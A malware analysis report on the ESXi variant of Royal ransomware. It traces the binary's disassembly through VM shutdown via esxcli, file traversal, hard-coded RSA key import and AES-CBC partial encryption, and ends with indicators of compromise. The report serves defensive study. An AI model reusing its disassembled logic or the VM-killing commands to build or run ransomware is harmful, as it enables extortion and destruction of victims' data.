ESXi Ransomware – A case study of Royal Ransomware

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Executive summary

Royal ransomware joins other ransomware groups targeting ESXi servers. The malware powers off all virtual machines using the esxcli tool and doesn't encrypt a list of files that are embedded in the code. As in the case of the Windows version, a parameter called "-id" consisting of 32 characters must be specified in the command line.

The files are encrypted using the AES algorithm, with the key and IV being encrypted using the RSA public key that is hard-coded in the executable. The process can partially encrypt a file depending on its size and the value of the "-ep" parameter. The extension of the encrypted files is changed to ".royal_u".

Analysis and findings

SHA256: 06abc46d5dbd012b170c97d142c6b679183159197e9d3f6a76ba5e5abf999725

The ransomware retrieves the command line arguments and compares them with "-id", "-ep", "-stopvm", "-vmonly", "-fork", and "-logs":



Figure 1

The "-id" parameter consisting of 32 characters is mandatory; otherwise, the following message

is displayed:

```
.text:000000000040A9B6 mov     edi, offset s   ; "-id: id must be 32 characters"
.text:000000000040A9BB call    _puts
.text:000000000040A9C0 mov     eax, 0
.text:000000000040A9C5 jmp     loc_40AB72
```

Figure 2

The “-ep” parameter represents the encryption percentage of the files. It is converted from string to integer using the atoi function, as shown in figure 3.

Figure 3

When running with the “-stopvm” parameter, the process calls a function named stop_vm. It creates a child process via a call to fork (see figure 4).

```
.text:000000000040A199 _ZL7stop_vmv proc near
.text:000000000040A199
.text:000000000040A199 var_5D0= byte ptr -5D0h
.text:000000000040A199 dest= byte ptr -1D0h
.text:000000000040A199 s= byte ptr -0D0h
.text:000000000040A199 size= qword ptr -0A0h
.text:000000000040A199 var_38= dword ptr -38h
.text:000000000040A199 fd= dword ptr -34h
.text:000000000040A199 ptr= qword ptr -30h
.text:000000000040A199 haystack= qword ptr -28h
.text:000000000040A199 var_20= qword ptr -20h
.text:000000000040A199 var_14= dword ptr -14h
.text:000000000040A199
.text:000000000040A199 ; __unwind { // ___gxx_personality_v0
.text:000000000040A199 push    rbp
.text:000000000040A19A mov     rbp, rsp
.text:000000000040A19D push    rbx
.text:000000000040A19E sub     rsp, 5C8h
.text:000000000040A1A5 call    _fork
.text:000000000040A1AA mov     [rbp+var_38], eax
.text:000000000040A1AD cmp     [rbp+var_38], 0
.text:000000000040A1B1 jnz     short loc_40A1E1
```

Figure 4

The child process obtains a list of running virtual machines, which are identified by World ID and Display Name. It saves it in a file called “list”:

```
.text:000000000040A1B3 mov     r8d, 0
.text:000000000040A1B9 mov     ecx, offset aEsxcliVmProces ; "esxcli vm process list > list"
.text:000000000040A1BE mov     edx, offset aC  ; "-c"
.text:000000000040A1C3 mov     esi, offset arg ; "/bin/sh"
.text:000000000040A1C8 mov     edi, offset arg ; "/bin/sh"
.text:000000000040A1CD mov     eax, 0
.text:000000000040A1D2 call    _execlp
.text:000000000040A1D7 mov     edi, 0          ; status
.text:000000000040A1DC call    _exit
```

Figure 5

The parent process opens the “list” file and gets the file status using the stat method, as displayed below.

```
.text:000000000040A1E1
.text:000000000040A1E1 loc_40A1E1:             ; stat_loc
.text:000000000040A1E1 mov     edi, 0
.text:000000000040A1E6 call    _wait
.text:000000000040A1EB mov     esi, 0          ; oflag
.text:000000000040A1F0 mov     edi, offset file ; "list"
.text:000000000040A1F5 mov     eax, 0
.text:000000000040A1FA call    _open
.text:000000000040A1FF mov     [rbp+fd], eax
.text:000000000040A202 cmp     [rbp+fd], 0FFFFFFFFh
.text:000000000040A206 jz      loc_40A404
```

```
.text:000000000040A20C lea     rax, [rbp+s]
.text:000000000040A213 mov     edx, 90h        ; n
.text:000000000040A218 mov     esi, 0          ; c
.text:000000000040A21D mov     rdi, rax        ; s
.text:000000000040A220 call    _memset
.text:000000000040A225 lea     rax, [rbp+s]
.text:000000000040A22C mov     rsi, rax        ; stat_buf
.text:000000000040A22F mov     edi, offset file ; "list"
.text:000000000040A234 call    stat
```

Figure 6

The above file's content is read using a function called read_all, which is a wrapper for the read method:

```
.text:000000000040A27D
.text:000000000040A27D loc_40A27D:
.text:000000000040A27D mov     rax, [rbp+size]
.text:000000000040A284 mov     rdx, rax        ; unsigned __int64
.text:000000000040A287 mov     rcx, [rbp+ptr]
.text:000000000040A28B mov     eax, [rbp+fd]
.text:000000000040A28E mov     rsi, rcx        ; unsigned __int8 *
.text:000000000040A291 mov     edi, eax        ; int
.text:000000000040A293 call    _Z8read_alliPhm ; read_all(int,uchar *,ulong)
.text:000000000040A298 xor     eax, 1
.text:000000000040A29B test    al, al
.text:000000000040A29D jz      short loc_40A2BA
```

Figure 7



Figure 8

All virtual machines are powered off based on the World ID by spawning a new process:

```
.text:000000000040A3D1
.text:000000000040A3D1 loc_40A3D1:
.text:000000000040A3D1 mov     rax, [rbp+haystack]
.text:000000000040A3D5 mov     esi, offset aWorldId ; "World ID: "
.text:000000000040A3DA mov     rdi, rax        ; haystack
.text:000000000040A3DD call    _strstr
.text:000000000040A3E2 mov     [rbp+haystack], rax
.text:000000000040A3E6 cmp     [rbp+haystack], 0
.text:000000000040A3EB setnz   al
.text:000000000040A3EE test    al, al
.text:000000000040A3F0 jnz     loc_40A2EB
```

Figure 9



Figure 10

If the malware is running with the "-vmonly" parameter, then no files are encrypted, and the execution flow isn't impacted.

Whether the "-logs" parameter is specified, multiple logs are displayed in the standard output:



Figure 11



Figure 12

In the case of running with the "-fork" parameter, the executable creates a child process and performs a function call to setsid:



Figure 13

The first parameter should be a directory that will be encrypted. The Windows version of the ransomware uses the "-path" parameter in order to encrypt a target directory. The malware calls a function called search_files with the targeted path as the first parameter (figure 14).

```
.text:000000000040AA3A
.text:000000000040AA3A loc_40AA3A:
.text:000000000040AA3A mov     eax, dword ptr [rbp+var_34]
.text:000000000040AA3D mov     edi, eax        ; this
.text:000000000040AA3F call    _ZN10threadpool6createEi ; threadpool::create(int)
.text:000000000040AA44 lea     rax, [rbp+var_41]
.text:000000000040AA48 mov     rdi, rax
.text:000000000040AA4B call    __ZNSaIcEC1Ev   ; std::allocator<char>::allocator(void)
.text:000000000040AA50 lea     rdx, [rbp+var_41]
.text:000000000040AA54 mov     rcx, [rbp+var_34+4]
.text:000000000040AA58 lea     rax, [rbp+var_50]
.text:000000000040AA5C mov     rsi, rcx
.text:000000000040AA5F mov     rdi, rax
.text:000000000040AA62 ;   try {
.text:000000000040AA62 call    __ZNSsC1EPKcRKSaIcE ; std::string::string(char const*,std::allocator<char> const&)
.text:000000000040AA62 ;   } // starts at 40AA62
.text:000000000040AA67 lea     rax, [rbp+var_50]
.text:000000000040AA6B mov     esi, 0
.text:000000000040AA70 mov     rdi, rax
.text:000000000040AA73 ;   try {
.text:000000000040AA73 call    _Z12search_filesSsb ; search_files(std::string,bool)
.text:000000000040AA73 ;   } // starts at 40AA73
.text:000000000040AA78 jmp     short loc_40AA93
```

Figure 14

The process retrieves the number of processors using the sysconf method:

```
.text:000000000040B8D4 ; __int64 __fastcall threadpool::create(threadpool *__hidden this, int)
.text:000000000040B8D4 public _ZN10threadpool6createEi
.text:000000000040B8D4 _ZN10threadpool6createEi proc near
.text:000000000040B8D4
.text:000000000040B8D4 var_14= dword ptr -14h
.text:000000000040B8D4 var_10= qword ptr -10h
.text:000000000040B8D4 var_8= qword ptr -8
.text:000000000040B8D4
.text:000000000040B8D4 ; __unwind { // ___gxx_personality_v0
.text:000000000040B8D4 push    rbp
.text:000000000040B8D5 mov     rbp, rsp
.text:000000000040B8D8 sub     rsp, 20h
.text:000000000040B8DC mov     [rbp+var_14], edi
.text:000000000040B8DF mov     eax, [rbp+var_14]
.text:000000000040B8E2 mov     cs:g_ep, eax
.text:000000000040B8E8 mov     edi, _SC_NPROCESSORS_ONLN ; name
.text:000000000040B8ED call    _sysconf
.text:000000000040B8F2 mov     cs:num_threads, rax
.text:000000000040B8F9 mov     rax, cs:num_threads
.text:000000000040B900 mov     [rbp+var_10], rax
.text:000000000040B904 cmp     [rbp+var_10], 0
.text:000000000040B909 jle     loc_40B98F
```

Figure 15

Royal ransomware creates 8 * number of processors threads by calling the pthread_create function (see figure 16).



Figure 16

The opendir function is utilized to open the target directory:

```
.text:000000000040A40F ; search_files(std::string, bool)
.text:000000000040A40F public _Z12search_filesSsb
.text:000000000040A40F _Z12search_filesSsb proc near
.text:000000000040A40F
.text:000000000040A40F var_8C= byte ptr -8Ch
.text:000000000040A40F var_88= qword ptr -88h
.text:000000000040A40F var_80= byte ptr -80h
.text:000000000040A40F var_70= byte ptr -70h
.text:000000000040A40F var_60= byte ptr -60h
.text:000000000040A40F var_50= byte ptr -50h
.text:000000000040A40F var_40= byte ptr -40h
.text:000000000040A40F var_30= byte ptr -30h
.text:000000000040A40F dirp= qword ptr -20h
.text:000000000040A40F var_18= qword ptr -18h
.text:000000000040A40F
.text:000000000040A40F ; __unwind { // ___gxx_personality_v0
.text:000000000040A40F push    rbp
.text:000000000040A410 mov     rbp, rsp
.text:000000000040A413 push    r12
.text:000000000040A415 push    rbx
.text:000000000040A416 add     rsp, 0FFFFFFFFFFFFFF80h
.text:000000000040A41A mov     [rbp+var_88], rdi
.text:000000000040A421 mov     eax, esi
.text:000000000040A423 mov     [rbp+var_8C], al
.text:000000000040A429 mov     [rbp+dirp], 0
.text:000000000040A431 mov     [rbp+var_18], 0
.text:000000000040A439 mov     rax, [rbp+var_88]
.text:000000000040A440 mov     rdi, rax        ; this
.text:000000000040A443 call    __ZNKSs5c_strEv ; std::string::c_str(void)
.text:000000000040A448 mov     rdi, rax        ; name
.text:000000000040A44B call    _opendir
.text:000000000040A450 mov     [rbp+dirp], rax
```

Figure 17

A ransom note called “readme” is created in the traversed directory. The “-id” parameter is also included in the text:



Figure 18

The malware reads the directory by calling the readdir method, as shown below:

Figure 19

The file type is compared with 0x4 (**DT_DIR**) and 0x8 (**DT_REG**):



Figure 20

In the case of directories, the search_files function is called recursively. For regular files, the ransomware avoids files containing the following strings: ".royal_u", ".royal_w", ".sf", ".v00", ".b00", "royal_log_", and "readme" (see figure 21).



Figure 21

The malicious process imports a hard-coded RSA public key:

```
.text:000000000040B641 ; void *thread_func(void *)
.text:000000000040B641 public _Z11thread_funcPv
.text:000000000040B641 _Z11thread_funcPv proc near
.text:000000000040B641
.text:000000000040B641 var_68= qword ptr -68h
.text:000000000040B641 var_58= qword ptr -58h
.text:000000000040B641 var_50= byte ptr -50h
.text:000000000040B641 var_40= byte ptr -40h
.text:000000000040B641 var_30= byte ptr -30h
.text:000000000040B641 var_28= qword ptr -28h
.text:000000000040B641 var_20= qword ptr -20h
.text:000000000040B641 fd= dword ptr -18h
.text:000000000040B641 var_11= byte ptr -11h
.text:000000000040B641
.text:000000000040B641 ; __unwind { // ___gxx_personality_v0
.text:000000000040B641 push rbp
.text:000000000040B642 mov rbp, rsp
.text:000000000040B645 push r12
.text:000000000040B647 push rbx
.text:000000000040B648 sub rsp, 60h
.text:000000000040B64C mov [rbp+var_68], rdi
.text:000000000040B650 mov edi, offset _ZL8keybytes ; "-----BEGIN RSA PUBLIC KEY-----\nMIICCAK"...
.text:000000000040B655 call _ZL9ImportKeyPKc ; ImportKey(char const*)
```

Figure 22

```
db '-----BEGIN RSA PUBLIC KEY-----',0Ah
                        ; DATA XREF: thread_func(void *)+F↑o
                        ; threadpool::test_encrypt(void):loc_40BBE7↑o
db 'MIICCAKCAgEAp/24TNvKoZ9rzwMaH9kVGq4x1j+L/tgWH5ncB1TQA6eT5NDtgsQH',0Ah
db 'jv+6N3IY8P4SPSnG5QUBp9uYm3berObDuLURZ4wGW+HEKY+jNht5JD4aE+SS2Gjl',0Ah
db '+lht2N+S8lRDAjcYXJZaCePN4pHDWQ65cVHnonyo5FfjKkQpDlzbAZ8/wBY+5gE4',0Ah
db 'Tex2Fdh7pvs7ek8+cnzkSi19xC0plj4zoMZBwFQST9iLK7KbRTKnaF1ZAHnDKaTQ',0Ah
db 'uCkJkcdhpQnaDyuUojb2k+gD3n+k/oN33Il9hfO4s67gyiIBH03qG3CYBJ0XfEWU',0Ah
db 'cvvahe+nZ3D0ffV/7LN6FO588RBlI2ZH+pMsyUWobI3TdjkdoHvMgJItrqrCK7BZ',0Ah
db 'TIKcZ0Rub+RQJsNowXbC+CbgDl38nESpKimPztcd6rzY32Jo7IcvAqPSckRuaghB',0Ah
db 'rkci/d377b6IT+vOWpNciS87dUQ0lUOmtsI2LLSkwyxauG5Y1W/MDUYZEuhHYlZM',0Ah
db 'cKqlSLmu8OTitL6bYOEQSy31PtCg2BOtlSu0NzW4pEXvg2hQyuSEbeWEGkrJrjTK',0Ah
db 'v9K7eu+eT5/arOy/onM56fFZSXfVseuC48R9TWktgCpPMkszLmwY14rp1ds6S7OO',0Ah
db '/HLRayEWjwa0eR0r/GhEHX80C8IU54ksEuf3uHbpq8jFnN1A+U239q0CAQM=',0Ah
db '-----END RSA PUBLIC KEY-----',0Ah
```

Figure 23

The RSA public key is read by calling the PEM_read_bio_RSAPublicKey function (figure 24).



Figure 24

Each of the created threads receives a file to be encrypted as a parameter:



Figure 25

The ransomware calls a function named prepare_file for all files to be encrypted, as highlighted in figure 26.



Figure 26

A file is opened for reading and writing via a function call to open (0x2 = **O_RDWR**):



Figure 27

If the “-logs” parameter is specified, the process outputs a message containing the file to be encrypted:

Figure 28

The logging function implementation is shown in figure 29. It also displays the current date and time obtained using the current_date_time method.



Figure 29

The malware generates 32 random bytes representing the AES key and 16 random bytes representing the IV:



Figure 30

The randomly generated bytes are encrypted using the RSA public key (see figure 31).

```
.text:000000000040B229
.text:000000000040B229 loc_40B229:
.text:000000000040B229 lea     rcx, [rbp+src]
.text:000000000040B230 lea     rax, [rbp+dest]
.text:000000000040B237 mov     edx, 20h ; ' '  ; n
.text:000000000040B23C mov     rsi, rcx        ; src
.text:000000000040B23F mov     rdi, rax        ; dest
.text:000000000040B242 call    _memcpy
.text:000000000040B247 lea     rax, [rbp+s]
.text:000000000040B24B lea     rdx, [rbp+dest]
.text:000000000040B252 lea     rcx, [rdx+20h]
.text:000000000040B256 mov     edx, 10h        ; n
.text:000000000040B25B mov     rsi, rax        ; src
.text:000000000040B25E mov     rdi, rcx        ; dest
.text:000000000040B261 call    _memcpy
.text:000000000040B266 mov     rcx, [rbp+var_3A0]
.text:000000000040B26D lea     rdx, [rbp+dest]
.text:000000000040B274 lea     rax, [rbp+dest]
.text:000000000040B27B mov     r8d, 4
.text:000000000040B281 mov     rsi, rax
.text:000000000040B284 mov     edi, 48
.text:000000000040B289 call    RSA_public_encrypt
.text:000000000040B28E mov     [rbp+var_34], eax
.text:000000000040B291 cmp     [rbp+var_34], 512
.text:000000000040B298 jz      short loc_40B2FB
```

Figure 31

The malicious binary rounds up the file size to a multiple of 16, which is required by the AES algorithm:

```
.text:000000000040B2FB
.text:000000000040B2FB loc_40B2FB:
.text:000000000040B2FB mov     rax, [rbp+var_3A8]
.text:000000000040B302 mov     [rbp+var_58], rax
.text:000000000040B306 mov     rax, [rbp+var_3A8]
.text:000000000040B30D mov     esi, 16
.text:000000000040B312 mov     rdi, rax
.text:000000000040B315 call    _Z9chROUNDUPIliET_S0_T0_ ; chROUNDUP<long,int>(long,int)
.text:000000000040B31A mov     [rbp+var_3A8], rax
.text:000000000040B321 mov     rdx, [rbp+var_58]
.text:000000000040B325 mov     eax, [rbp+fd]
.text:000000000040B32B mov     rsi, rdx        ; __int64
.text:000000000040B32E mov     edi, eax        ; int
.text:000000000040B330 call    _ZL11resize_fileil ; resize_file(int,long)
.text:000000000040B335 xor     eax, 1
.text:000000000040B338 test    al, al
.text:000000000040B33A jz      short loc_40B346
```

Figure 32

The entire file content is encrypted if the file length is less than or equal to 5,245,000 bytes or if the "-ep" parameter equals 100. As we've already described in our whitepaper about the Windows version, the ransomware can modify the encryption percentage and perform intermittent encryption:

Figure 33

The AES key is set for encryption by calling the AES_set_encrypt_key function:

```
.text:000000000040B3BF
.text:000000000040B3BF loc_40B3BF:
.text:000000000040B3BF lea     rdx, [rbp+var_190]
.text:000000000040B3C6 lea     rax, [rbp+src]
.text:000000000040B3CD mov     esi, 256
.text:000000000040B3D2 mov     rdi, rax
.text:000000000040B3D5 call    AES_set_encrypt_key
.text:000000000040B3DA mov     [rbp+var_2C], 0
.text:000000000040B3E1 jmp     loc_40B4FE
```

Figure 34

The file content is read by calling the read_all function (figure 35).

```
.text:000000000040B41E
.text:000000000040B41E loc_40B41E:             ; unsigned __int64
.text:000000000040B41E mov     rdx, [rbp+var_20]
.text:000000000040B422 mov     rcx, [rbp+var_3B8]
.text:000000000040B429 mov     eax, [rbp+fd]
.text:000000000040B42F mov     rsi, rcx        ; unsigned __int8 *
.text:000000000040B432 mov     edi, eax        ; int
.text:000000000040B434 call    _Z8read_alliPhm ; read_all(int,uchar *,ulong)
.text:000000000040B439 xor     eax, 1
.text:000000000040B43C test    al, al
.text:000000000040B43E jnz     loc_40B4D7
```

Figure 35

The content is encrypted using the AES algorithm in CBC mode:

```
.text:000000000040B444 mov     rax, [rbp+var_28]
.text:000000000040B448 add     rax, [rbp+var_20]
.text:000000000040B44C mov     [rbp+var_28], rax
.text:000000000040B450 lea     rsi, [rbp+s]
.text:000000000040B454 lea     rcx, [rbp+var_190]
.text:000000000040B45B mov     rdx, [rbp+var_20]
.text:000000000040B45F mov     rbx, [rbp+var_3B8]
.text:000000000040B466 mov     rax, [rbp+var_3B8]
.text:000000000040B46D mov     r9d, 1
.text:000000000040B473 mov     r8, rsi
.text:000000000040B476 mov     rsi, rbx
.text:000000000040B479 mov     rdi, rax
.text:000000000040B47C call    AES_cbc_encrypt
.text:000000000040B481 mov     rax, [rbp+var_20]
.text:000000000040B485 mov     rcx, rax
.text:000000000040B488 neg     rcx
.text:000000000040B48B mov     eax, [rbp+fd]
.text:000000000040B491 mov     edx, 1          ; whence
.text:000000000040B496 mov     rsi, rcx        ; offset
.text:000000000040B499 mov     edi, eax        ; fd
.text:000000000040B49B call    _lseek
.text:000000000040B4A0 mov     rdx, [rbp+var_20] ; unsigned __int64
.text:000000000040B4A4 mov     rcx, [rbp+var_3B8]
.text:000000000040B4AB mov     eax, [rbp+fd]
.text:000000000040B4B1 mov     rsi, rcx        ; unsigned __int8 *
.text:000000000040B4B4 mov     edi, eax        ; int
.text:000000000040B4B6 call    _ZL9write_alliPhm ; write_all(int,uchar *,ulong)
.text:000000000040B4BB xor     eax, 1
.text:000000000040B4BE test    al, al
.text:000000000040B4C0 jnz     short loc_40B4DA
```

Figure 36

The implementation of the AES_encrypt function from OpenSSL is displayed in the figure below.

```
.text:000000000040DA60 public AES_encrypt
.text:000000000040DA60 AES_encrypt proc near
.text:000000000040DA60
.text:000000000040DA60 var_70= dword ptr -70h
.text:000000000040DA60 var_60= dword ptr -60h
.text:000000000040DA60 var_50= qword ptr -50h
.text:000000000040DA60 var_48= qword ptr -48h
.text:000000000040DA60 var_40= qword ptr -40h
.text:000000000040DA60 var_34= dword ptr -34h
.text:000000000040DA60
.text:000000000040DA60 ; __unwind {
.text:000000000040DA60 push    r15
.text:000000000040DA62 lea     r11, Te1
.text:000000000040DA69 lea     r10, Te2
.text:000000000040DA70 push    r14
.text:000000000040DA72 push    r13
.text:000000000040DA74 push    r12
.text:000000000040DA76 lea     r12, Te0
.text:000000000040DA7D push    rbp
.text:000000000040DA7E lea     rbp, Te3
.text:000000000040DA85 mov     r14, r12
.text:000000000040DA88 push    rbx
.text:000000000040DA89 mov     r13, rbp
.text:000000000040DA8C mov     [rsp+30h+var_40], rdx
.text:000000000040DA91 mov     [rsp+30h+var_50], rsi
.text:000000000040DA96 movzx   eax, byte ptr [rdi]
.text:000000000040DA99 movzx   edx, byte ptr [rdi+3]
.text:000000000040DA9D mov     rcx, [rsp+30h+var_40]
.text:000000000040DAA2 movzx   r9d, byte ptr [rdi+7]
.text:000000000040DAA7 movzx   r8d, byte ptr [rdi+08h]
.text:000000000040DAAC movzx   esi, byte ptr [rdi+0Fh]
.text:000000000040DAB0 shl     eax, 18h
.text:000000000040DAB3 xor     r9d, [rcx+4]
.text:000000000040DAB7 xor     r8d, [rcx+8]
.text:000000000040DABB xor     eax, edx
.text:000000000040DABD mov     rdx, [rsp+30h+var_40]
.text:000000000040DAC2 xor     esi, [rcx+0Ch]
.text:000000000040DAC5 mov     ebx, [rcx+0F0h]
.text:000000000040DACB xor     eax, [rdx]
.text:000000000040DACD movzx   edx, byte ptr [rdi+1]
.text:000000000040DAD1 sar     ebx, 1
.text:000000000040DAD3 shl     edx, 10h
.text:000000000040DAD6 xor     eax, edx
.text:000000000040DAD8 movzx   edx, byte ptr [rdi+2]
```

Figure 37

The encrypted AES key and IV (512 bytes), followed by the file length (8 bytes) and the encryption percentage (8 bytes), are written to the encrypted file:



Figure 38

Finally, the extension of all encrypted files is changed to ".royal_u":



Figure 39

Indicators of Compromise

SHA256

06abc46d5dbd012b170c97d142c6b679183159197e9d3f6a76ba5e5abf999725

Royal Ransom Note

readme

Processes spawned

esxcli vm process list > list

esxcli vm process kill --type=hard --world-id=<World ID>